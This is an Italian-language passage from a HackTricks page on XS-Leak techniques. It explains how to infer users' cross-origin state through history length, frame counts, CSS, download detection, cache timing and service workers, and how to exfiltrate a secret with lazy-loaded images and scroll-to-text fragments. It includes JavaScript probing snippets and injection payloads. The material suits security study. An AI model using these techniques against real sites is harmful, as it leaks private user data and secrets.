Un attaccante potrebbe utilizzare il codice JavaScript per manipolare la posizione del frame/pop-up su un URL indovinato e cambiarlo immediatamente a about:blank. Se la lunghezza della cronologia aumenta, significa che l'URL era corretto ed ha avuto il tempo di aumentare perché l'URL non viene ricaricato se è lo stesso. Se non aumenta, significa che ha provato a caricare l'URL indovinato ma poiché immediatamente dopo è stato caricato about:blank, la lunghezza della cronologia non è mai aumentata durante il caricamento dell'URL indovinato.

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Conteggio dei Frame

Contare il numero di frame in una pagina web aperta tramite iframe o window.open potrebbe aiutare a identificare lo stato dell'utente su quella pagina. Inoltre, se la pagina ha sempre lo stesso numero di frame, controllare continuamente il numero di frame potrebbe aiutare a identificare un pattern che potrebbe rivelare informazioni.

Un esempio di questa tecnica è che in Chrome, un PDF può essere rilevato con il conteggio dei frame perché viene utilizzato internamente un embed. Ci sono Parametri di URL Aperti che consentono un certo controllo sul contenuto come zoom, view, page, toolbar dove questa tecnica potrebbe essere interessante.

HTMLElements

La fuga di informazioni attraverso gli elementi HTML è una preoccupazione nella sicurezza web, in particolare quando vengono generati file multimediali dinamici basati sulle informazioni dell'utente, o quando vengono aggiunti watermark, modificando le dimensioni dei media. Questo può essere sfruttato dagli attaccanti per differenziare tra possibili stati analizzando le informazioni esposte da determinati elementi HTML.

Informazioni Esposte dagli Elementi HTML

  • HTMLMediaElement: Questo elemento rivela i tempi di durata e buffering dei media, che possono essere accessibili tramite la sua API. Ulteriori informazioni su HTMLMediaElement

  • HTMLVideoElement: Espone videoHeight e videoWidth. In alcuni browser, sono disponibili proprietà aggiuntive come webkitVideoDecodedByteCount, webkitAudioDecodedByteCount e webkitDecodedFrameCount, offrendo informazioni più dettagliate sul contenuto multimediale. Ulteriori informazioni su HTMLVideoElement

  • getVideoPlaybackQuality(): Questa funzione fornisce dettagli sulla qualità della riproduzione video, inclusi totalVideoFrames, che possono indicare la quantità di dati video elaborati. Ulteriori informazioni su getVideoPlaybackQuality()

  • HTMLImageElement: Questo elemento rivela l'altezza e la larghezza di un'immagine. Tuttavia, se un'immagine è non valida, queste proprietà restituiranno 0 e la funzione image.decode() verrà rifiutata, indicando il fallimento nel caricamento corretto dell'immagine. Ulteriori informazioni su HTMLImageElement

Proprietà CSS

Le applicazioni web possono cambiare lo stile del sito web a seconda dello stato dell'utente. I file CSS cross-origin possono essere incorporati nella pagina dell'attaccante con l'elemento link HTML, e le regole verranno applicate alla pagina dell'attaccante. Se una pagina cambia dinamicamente queste regole, un attaccante può rilevare queste differenze a seconda dello stato dell'utente. Come tecnica di fuga, l'attaccante può utilizzare il metodo window.getComputedStyle per leggere le proprietà CSS di un determinato elemento HTML. Di conseguenza, un attaccante può leggere proprietà CSS arbitrarie se l'elemento interessato e il nome della proprietà sono noti.

Storia CSS

Secondo questo, questo non funziona in Chrome headless.

Il selettore CSS :visited viene utilizzato per stilizzare in modo diverso gli URL se sono stati visitati in precedenza dall'utente. In passato, il metodo getComputedStyle() poteva essere utilizzato per identificare queste differenze di stile. Tuttavia, i browser moderni hanno implementato misure di sicurezza per impedire a questo metodo di rivelare lo stato di un link. Queste misure includono il restituire sempre lo stile calcolato come se il link fosse stato visitato e il limitare gli stili che possono essere applicati con il selettore :visited.

Nonostante queste restrizioni, è possibile discernere lo stato visitato di un link in modo indiretto. Una tecnica coinvolge l'inganno dell'utente nell'interagire con un'area influenzata dal CSS, utilizzando specificamente la proprietà mix-blend-mode. Questa proprietà consente di mescolare gli elementi con lo sfondo, rivelando potenzialmente lo stato visitato in base all'interazione dell'utente.

Inoltre, la rilevazione può essere ottenuta senza interazione dell'utente sfruttando i tempi di rendering dei link. Poiché i browser possono renderizzare i link visitati e non visitati in modo diverso, ciò può introdurre una differenza di tempo misurabile nel rendering. È stato menzionato un proof of concept (PoC) in un report di bug di Chromium, dimostrando questa tecnica utilizzando più link per amplificare la differenza temporale, rendendo quindi lo stato visitato rilevabile attraverso l'analisi temporale.

Per ulteriori dettagli su queste proprietà e metodi, visita le loro pagine di documentazione:

Fuga X-Frame di ContentDocument

In Chrome, se una pagina con l'intestazione X-Frame-Options impostata su "deny" o "same-origin" viene incorporata come un oggetto, compare una pagina di errore. Chrome restituisce in modo univoco un oggetto documento vuoto (anziché null) per la proprietà contentDocument di questo oggetto, a differenza degli iframe o di altri browser. Gli attaccanti potrebbero sfruttare ciò rilevando il documento vuoto, rivelando potenzialmente informazioni sullo stato dell'utente, specialmente se gli sviluppatori impostano in modo inconsistente l'intestazione X-Frame-Options, spesso trascurando le pagine di errore. La consapevolezza e l'applicazione coerente delle intestazioni di sicurezza sono cruciali per prevenire tali falle.

Rilevamento del Download

L'intestazione Content-Disposition, in particolare Content-Disposition: attachment, istruisce il browser a scaricare il contenuto anziché visualizzarlo inline. Questo comportamento può essere sfruttato per rilevare se un utente ha accesso a una pagina che attiva un download di file. Nei browser basati su Chromium, ci sono alcune tecniche per rilevare questo comportamento di download:

  1. Monitoraggio della Barra di Download:

  • Quando un file viene scaricato nei browser basati su Chromium, compare una barra di download nella parte inferiore della finestra del browser.

  • Monitorando i cambiamenti dell'altezza della finestra, gli attaccanti possono dedurre l'apparizione della barra di download, suggerendo che è stato avviato un download.

  1. Navigazione del Download con Iframe:

  • Quando una pagina attiva un download di file utilizzando l'intestazione Content-Disposition: attachment, ciò non provoca un evento di navigazione.

  • Caricando il contenuto in un iframe e monitorando gli eventi di navigazione, è possibile verificare se la disposizione del contenuto provoca un download di file (nessuna navigazione) o meno.

  1. Navigazione del Download senza Iframe:

  • Simile alla tecnica dell'iframe, questo metodo coinvolge l'uso di window.open anziché di un iframe.

  • Monitorando gli eventi di navigazione nella finestra appena aperta è possibile scoprire se è stato attivato un download di file (nessuna navigazione) o se il contenuto viene visualizzato inline (si verifica una navigazione).

In scenari in cui solo gli utenti autenticati possono attivare tali download, queste tecniche possono essere utilizzate per dedurre indirettamente lo stato di autenticazione dell'utente in base alla risposta del browser alla richiesta di download.

Bypass della Cache HTTP Partizionata

Questo è il motivo per cui questa tecnica è interessante: Chrome ora ha partizionamento della cache, e la chiave di cache della pagina appena aperta è: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx), ma se apro una pagina ngrok e faccio fetch su di essa, la chiave di cache sarà: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), la chiave di cache è diversa, quindi la cache non può essere condivisa. Puoi trovare maggiori dettagli qui: Gaining security and privacy by partitioning the cache (Commento da qui)

Se un sito esempio.com include una risorsa da *.esempio.com/risorsa allora quella risorsa avrà la stessa chiave di caching come se la risorsa fosse stata richiesta direttamente tramite navigazione di primo livello. Questo perché la chiave di caching è composta da eTLD+1 di primo livello e eTLD+1 del frame.

Poiché l'accesso alla cache è più veloce del caricamento di una risorsa, è possibile provare a cambiare la posizione di una pagina e annullarla 20ms (ad esempio) dopo. Se l'origine è stata cambiata dopo l'annullamento, significa che la risorsa era in cache. Oppure si potrebbe semplicemente inviare qualche fetch alla pagina potenzialmente in cache e misurare il tempo impiegato.

Reindirizzamento Manuale

Fetch con AbortController

Utilizzare fetch e setTimeout con un AbortController per rilevare se la risorsa è in cache ed espellere una risorsa specifica dalla cache del browser. Inoltre, il processo avviene senza memorizzare nuovi contenuti.

Inquinamento dello script

Service Workers

Nel caso specifico, l'attaccante prende l'iniziativa di registrare un service worker all'interno di uno dei loro domini, specificamente "attaccante.com". Successivamente, l'attaccante apre una nuova finestra nel sito web di destinazione dal documento principale e istruisce il service worker a avviare un timer. Mentre la nuova finestra inizia a caricarsi, l'attaccante naviga il riferimento ottenuto nel passaggio precedente verso una pagina gestita dal service worker.

All'arrivo della richiesta avviata nel passaggio precedente, il service worker risponde con uno stato di codice 204 (No Content), terminando efficacemente il processo di navigazione. A questo punto, il service worker cattura una misurazione dal timer avviato in precedenza nel secondo passaggio. Questa misurazione è influenzata dalla durata di JavaScript che causa ritardi nel processo di navigazione.

In un timing di esecuzione è possibile eliminare i fattori di rete per ottenere misure più precise. Ad esempio, caricando le risorse utilizzate dalla pagina prima di caricarla.

Tempistica Fetch

Tempistica tra Finestre

Utilizza Trickest per creare e automatizzare facilmente flussi di lavoro supportati dagli strumenti della comunità più avanzati al mondo. Ottieni l'accesso oggi:

Con HTML o reiniezione

Qui puoi trovare tecniche per esfiltrare informazioni da un HTML cross-origin iniettando contenuto HTML. Queste tecniche sono interessanti nei casi in cui per qualsiasi motivo puoi iniettare HTML ma non puoi iniettare codice JS.

Markup sospeso

pageDangling Markup - HTML scriptless injection

Caricamento pigro delle immagini

Se hai bisogno di esfiltrare contenuti e puoi aggiungere HTML prima del segreto dovresti controllare le tecniche comuni di markup sospeso. Tuttavia, se per qualsiasi motivo DEVI farlo carattere per carattere (forse la comunicazione avviene tramite un hit della cache) puoi usare questo trucco.

Le immagini in HTML hanno un attributo "loading" il cui valore può essere "lazy". In tal caso, l'immagine verrà caricata quando viene visualizzata e non durante il caricamento della pagina:

<img src=/something loading=lazy >

Quindi, ciò che puoi fare è aggiungere un sacco di caratteri spazzatura (ad esempio migliaia di "W") per riempire la pagina web prima del segreto o aggiungere qualcosa come <br><canvas height="1850px"></canvas><br>. Quindi, se ad esempio la nostra iniezione appare prima della flag, l'immagine verrà caricata, ma se appare dopo la flag, la flag + la spazzatura impediranno il caricamento (dovrai giocare con la quantità di spazzatura da inserire). Questo è ciò che è successo in questo articolo.

Un'altra opzione sarebbe utilizzare il scroll-to-text-fragment se consentito:

Scroll-to-text-fragment

Tuttavia, fai accedere al bot alla pagina con qualcosa del genere

#:~:text=SECR

Quindi la pagina web sarà qualcosa del genere: https://vittima.com/post.html#:~:text=SECR

Dove post.html contiene i caratteri spazzatura dell'attaccante e un'immagine a caricamento lento e poi viene aggiunto il segreto del bot.

Ciò che questo testo farà è far sì che il bot acceda a qualsiasi testo nella pagina che contiene il testo SECR. Poiché quel testo è il segreto ed è proprio sotto l'immagine, l'immagine si caricherà solo se il segreto indovinato è corretto. Quindi hai il tuo oracolo per esfiltrare il segreto carattere per carattere.

Un esempio di codice per sfruttare ciò: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Caricamento Lento dell'Immagine Basato sul Tempo

Se non è possibile caricare un'immagine esterna che potrebbe indicare all'attaccante che l'immagine è stata caricata, un'altra opzione sarebbe provare a indovinare il carattere più volte e misurare ciò. Se l'immagine viene caricata, tutte le richieste richiederanno più tempo rispetto a quando l'immagine non viene caricata. Questo è ciò che è stato utilizzato nella soluzione di questo writeup riassunto qui:

pageEvent Loop Blocking + Lazy images

ReDoS

pageRegular expression Denial of Service - ReDoS

ReDoS CSS

Se viene utilizzato jQuery(location.hash), è possibile scoprire tramite il timing se esiste del contenuto HTML, questo perché se il selettore main[id='site-main'] non corrisponde, non è necessario controllare il resto dei selettori:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

Iniezione di CSS

pageCSS Injection

Difese

Ci sono mitigazioni raccomandate in https://xsinator.com/paper.pdf anche in ogni sezione del wiki https://xsleaks.dev/. Dai un'occhiata lì per ulteriori informazioni su come proteggerti da queste tecniche.

Riferimenti

Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Usa Trickest per costruire facilmente e automatizzare flussi di lavoro supportati dagli strumenti comunitari più avanzati al mondo. Ottieni l'accesso oggi:

PreviousXSSI (Cross-Site Script Inclusion)NextConnection Pool Examples

Last updated